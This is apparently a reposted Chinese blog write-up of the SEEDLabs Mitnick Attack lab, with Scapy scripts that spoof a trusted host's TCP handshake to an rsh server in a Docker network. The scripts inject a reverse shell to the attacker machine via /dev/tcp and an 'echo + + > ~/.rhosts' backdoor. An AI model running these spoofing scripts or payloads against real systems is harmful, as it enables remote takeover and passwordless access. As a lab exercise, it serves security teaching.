SEEDLabs Mitnick Attack

这篇具有很好参考价值的文章主要介绍了SEEDLabs Mitnick Attack。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

SEEDLabs Mitnick Attack

实验原理

TCP/IP 协议中的数据单元头部都是明文透明的,因此攻击者往往可以根据猜测得到的顺序号伪造 TCP 报文,从而达到与被攻击服务器建立连接的目的。

环境准备

本次实验需要开启在同一 LAN 下的docker 容器内的三个主机,分别为 Seed-Attacker(攻击者,IP 为 10.9.0.1) 、X-Terminal(被攻击服务器,IP 为 10.9.0.5)和 Trusted-Server(可以免密登录服务器的用户,IP 为 10.9.0.6

$ dcbuild
$ dcup

执行 dockps 得到各个主机的 docker ID,通过 docksh [docker ID] 开启某个主机的终端:

SEEDLabs Mitnick Attack

观察 10.9.0.1 的网络信息,由于特殊配置,可以在虚拟机的 WireShark 中直接捕获网络中的所有包:

SEEDLabs Mitnick Attack
SEEDLabs Mitnick Attack

为了达到免密登录的效果,需要在 10.9.0.5 中配置 rsh 协议的登录信息,将 10.9.0.6 加入配置文件:

# 10.9.0.5
$ su seed
$ cd
$ touch .rhosts
$ echo 10.9.0.6 > .rhosts
$ chmod 644 .rhosts

可以看到,配置前后从 client 中观察到的结果不同:

SEEDLabs Mitnick Attack

并且从 WireShark 中可以观察到两次 TCP 连接,后续实验中需要实现这个过程:

SEEDLabs Mitnick Attack

Task 1

实验目的:模拟 SYN Flooding

实验步骤:为了简化实验,这里我们直接关闭 Trusted-Server,但在关闭之前需要保证 server 中有client 的 arp 缓存,否则之后攻击模拟 client 发包时,server 并不知道 client 的 MAC 地址,arp 也无响应。

① 首先在 clinet 中 ping 10.9.0.5 ,之后在 server 中将 client 的 arp 缓存持久化。为了实验效果好,我们可以让 server 同时缓存 attacker 的 MAC 地址(这个操作需要在 server 的 root 权限下进行):

# 10.9.0.6
$ ping 10.9.0.5
# 10.9.0.1
$ ping 10.9.0.5

SEEDLabs Mitnick Attack

② 关闭 client 的 docker,模拟被 SYN Flooding 攻击后的效果:

$ docker stop f4

SEEDLabs Mitnick Attack

Task 2

实验目的:伪造 client 的 TCP 包与 server 建立 TCP 连接,并且使其执行 reverse shell 指令

实验步骤:需要建立两个 TCP 连接,其中第一个 TCP 连接需要攻击者首先发出请求,第二个 TCP 连接则是由 server 发出、需要攻击者发送 SYN ACK 包回复的连接。

① 首先假冒 client 向 server 发送 SYN 包,请求建立连接,其中源 IP 地址为 client 的地址 10.9.0.6

# step1.py
from scapy.all import *

tcp = TCP(sport=1023, dport=514)
tcp.flags = "S"
ip = IP(src="10.9.0.6", dst="10.9.0.5")
p = ip / tcp
if tcp.flags == "S":
    send(p)

② 接着,server 会发送 SYN ACK 包,当 sniff 到这个包时,我们需要基于 SYN ACK 包的顺序号、冒充 client 发送 ACK 包,以建立第一个 TCP 连接:

# step2.py
from scapy.all import *

def spoof(pkt):
    if pkt[TCP].flags == "SA" and pkt[IP].src == "10.9.0.5":
        old_ip = pkt[IP]
        old_tcp = pkt[TCP]
        tcp_len = old_ip.len - old_ip.ihl * 4 - old_tcp.dataofs * 4
        print("{}:{} -> {}:{} Flags={} Len={}".format(old_ip.src, old_tcp.sport, old_ip.dst, old_tcp.dport, old_tcp.flags, tcp_len))
        
        ip = IP(src="10.9.0.6", dst="10.9.0.5")
        tcp = TCP(sport=1023, dport=514)
        tcp.flags = "A"
        tcp.seq = pkt[TCP].ack
        tcp.ack = pkt[TCP].seq + 1
        data="9090\x00seed\x00seed\x00/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1\x00"
        p = ip / tcp / data
        send(p, verbose=0)

myFilter = 'tcp' # You need to make the filter more specific
sniff(iface='br-c53b33f456fd', filter=myFilter, prn=spoof)

其中 reverse shell 的指令是 /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1\x00 ,所以还需要在 attacker 上监听 9090 端口:

SEEDLabs Mitnick Attack

③ 之后,我们会 sniff 到 server 的 SYN 包,请求建立第二个 TCP 连接。我们要根据此 SYN 包的顺序号和源端口,伪造 client 的 SYN ACK 包以建立第二个连接,这样 server 才会执行 reverse shell 的指令;其中我们的初始顺序号可以取 32 位无符号整数的任意值,这里直接使用了对面的顺序号:

from scapy.all import *

def spoof(pkt):
    if pkt[TCP].flags == "S" and pkt[IP].src == "10.9.0.5":
        old_ip = pkt[IP]
        old_tcp = pkt[TCP]
        tcp_len = old_ip.len - old_ip.ihl * 4 - old_tcp.dataofs * 4
        print("{}:{} -> {}:{} Flags={} Len={}".format(old_ip.src, old_tcp.sport, old_ip.dst, old_tcp.dport, old_tcp.flags, tcp_len))
        ip = IP(src="10.9.0.6", dst="10.9.0.5")
        tcp = TCP(sport=9090, dport=pkt[TCP].sport)
        tcp.flags = "SA"
        tcp.seq = pkt[TCP].seq
        tcp.ack = pkt[TCP].seq + 1
        p = ip / tcp
        send(p, verbose=0)

myFilter = 'tcp' # You need to make the filter more specific
sniff(iface='br-c53b33f456fd', filter=myFilter, prn=spoof)

④ 至此,我们成功建立了两个 TCP 连接:

SEEDLabs Mitnick Attack

也能在 attacker 的主机(10.9.0.1)上观察到 reverse shell:
SEEDLabs Mitnick Attack

④ 在操作过程中,我们可以先运行两个 sniff 的程序,再运行向 server 发送第一个 SYN 包的程序来触发整个过程。这样 server 发出的任何包都会被及时嗅探到,防止出现来不及发送回复的包而导致 server 多次重传、超时的情况,而在没有嗅探到 server 发送的包时不会有其他动作:

$ sudo python3 step2.py
$ sudo python3 step3.py
$ sudo python3 step1.py

Task 3

实验目的:将配置文件 .rhosts 的值改为 + + ,实现所有主机的免密登录

实验步骤

① 将 Task2 step2.py 中的指令改为:

# step2.py
data="9090\x00seed\x00seed\x00echo + + > ~/.rhosts\x00"

重复上述攻击

② 可以观察到不需要密码就可以登录 seed 用户:

SEEDLabs Mitnick Attack

这里需要指定登录的用户名 seed ,否则会默认登录与当前用户名相同的账户(此时为 root);也可以在 attacker 的主机中先切换到 seed 用户,再直接登录 server,就不需要指定用户名了:

SEEDLabs Mitnick Attack

观察到 .rhosts 的内容确实被改成了 + +

SEEDLabs Mitnick Attack文章来源地址https://www.toymoban.com/news/detail-464671.html

到了这里,关于SEEDLabs Mitnick Attack的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包赞助服务器费用

相关文章

  • HTTP慢攻击(Slow HTTP Attack)

    HTTP慢攻击(Slow HTTP Attack)

    缓慢的HTTP拒绝服务攻击是一种专门针对于Web的应用层拒绝服务攻击,攻击者操纵网络上的肉鸡,对目标Web服务器进行海量HTTP请求攻击,直到服务器带宽被打满,造成了拒绝服务。( 瘫痪目标服务器 ) 慢速连接攻击主要有如下几种: 1. Slow headers 攻击 攻击者向服务器发起H

    2024年02月05日
    浏览(8)
  • 网络安全-重放攻击(Replay Attack)

    网络安全-重放攻击(Replay Attack)

    API重放攻击(Replay Attacks)又称重播攻击、回放攻击,这种攻击会不断恶意或欺诈性地重复一个有效的API请求。攻击者利用网络监听或者其他方式盗取API请求,进行一定的处理后,再把它重新发给认证服务器,是黑客常用的攻击方式之一。 重放攻击的示意图如下所示: 从上面

    2024年02月13日
    浏览(16)
  • 慢速 HTTP 攻击 Slow HTTP Attack

    漏洞名称 :Slow Http attack、慢速攻击 漏洞描述 :慢速攻击基于HTTP协议,通过精心的设计和构造,这种特殊的请求包会造成服务器延时,而当服务器负载能力消耗过大即会导致拒绝服务。HTTP协议规定,HTTP Request以rnrn(0d0a0d0a)结尾表示客户端发送结束,服务端开始处理。那

    2024年02月01日
    浏览(10)
  • SeedLab——TCP/IP Attack Lab

    SeedLab——TCP/IP Attack Lab

    TCP/IP协议栈是用于在计算机网络中进行通信的一组协议。它是互联网的核心协议栈,由多个层级的协议构成,应用层、传输层、网络层、数据链路层。每个层级的协议负责不同的功能。 TCP(传输控制协议)是一种面向连接的可靠传输协议,属于TCP/IP协议簇的传输层协议之一。

    2024年02月21日
    浏览(11)
  • 【SeedLab】BGP Exploration and Attack Lab

    【SeedLab】BGP Exploration and Attack Lab

            本实验需要使用SEED互联网仿真器(已集成到docker配置文件)。         启动docker容器,配置文件在/Labsetup/outputs/目录下。由于要配置很多docker容器,所以构建+启动过程会比较漫长。.随着docker启动,仿真器也随之运行,仿真器所用到的设备均为docker容器。        

    2024年02月04日
    浏览(24)
  • What is a UDP Flood Attack?

    What is a UDP Flood Attack?

    用户数据报协议 (UDP) 是计算机网络中使用的无连接、不可靠的协议。它在互联网协议 (IP) 的传输层上运行,并提供跨网络的快速、高效的数据传输。与TCP(其更可靠的对应物)不同,UDP不提供端到端的可靠性或流量控制。 UDP 洪水攻击是一种分布式拒绝服务 (DDoS) 攻

    2024年02月07日
    浏览(14)
  • 【SeedLab】ARP Cache Poisoning Attack Lab

    【SeedLab】ARP Cache Poisoning Attack Lab

    目录 实验手册 实验环境 Task 1: ARP Cache Poisoning Task 1.A (using ARP request). Task 1.B (using ARP reply). Task 1.C (using ARP gratuitous message).  Task 2: MITM Attack on Telnet using ARP Cache Poisoning Task 3: MITM Attack on Netcat using ARP Cache Poisoning ARP Cache Poisoning Attack Lab          本节任务需要通过packet伪造发起

    2024年02月09日
    浏览(10)
  • Web 安全之水坑攻击(Watering Hole Attack)详解

    目录 什么是水坑攻击(Watering Hole Attack) 水坑攻击的原理 水坑攻击的实施案例 水坑攻击的防范方法 小结 水坑攻击(Watering Hole Attack)是一种精心策划的网络攻击策略,针对目标群体的用户,通过感染他们经常访问的网站来散播恶意软件、收集用户信息等。这种攻击方式的名

    2024年01月18日
    浏览(10)
  • 【论文阅读】Feature Inference Attack on Shapley Values

    【论文阅读】Feature Inference Attack on Shapley Values

    研究背景 近年来,解释性机器学习逐渐成为一个热门的研究领域。解释性机器学习可以帮助我们理解机器学习模型是如何进行预测的,它可以提高模型的可信度和可解释性。Shapley值是一种解释机器学习模型预测结果的方法,它可以计算每个特征对预测结果的贡献程度,从而

    2024年02月15日
    浏览(13)
  • 【SEED Labs 2.0】ICMP Redirect Attack Lab

    【SEED Labs 2.0】ICMP Redirect Attack Lab

    本文为 SEED Labs 2.0 - ICMP Redirect Attack Lab 的实验记录。 ICMP 重定向是路由器向 IP 数据包发送者发送的错误消息。 当路由器认为数据包被错误地路由时,使用重定向,并且它想通知发送者它应该为随后发送到同一目的地的数据包使用不同的路由器。攻击者可以使用 ICMP 重定向来

    2024年02月05日
    浏览(62)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包